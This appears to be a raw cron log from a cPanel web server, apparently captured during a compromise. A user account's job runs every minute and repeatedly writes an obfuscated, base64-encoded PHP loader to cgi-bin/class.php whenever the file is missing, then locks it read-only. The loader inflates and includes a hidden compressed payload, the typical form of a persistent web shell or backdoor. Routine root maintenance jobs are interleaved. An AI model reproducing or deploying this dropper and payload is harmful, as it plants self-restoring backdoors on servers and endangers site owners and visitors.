Nov 15 01:10:01 server CROND[27381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:10:01 server CROND[27383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:10:01 server CROND[27384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:11:02 server CROND[27704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:12:01 server CROND[27972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:12:01 server CROND[27973]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 01:13:01 server CROND[28240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:14:01 server CROND[28507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:15:01 server CROND[28788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:15:01 server CROND[28789]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:15:01 server CROND[28787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:16:01 server CROND[29208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:17:01 server CROND[29469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:18:01 server CROND[29759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:19:01 server CROND[30044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:20:01 server CROND[30330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:20:01 server CROND[30331]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:20:01 server CROND[30333]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 01:20:01 server CROND[30334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:20:01 server CROND[30336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 01:21:01 server CROND[30764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:22:01 server CROND[31024]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
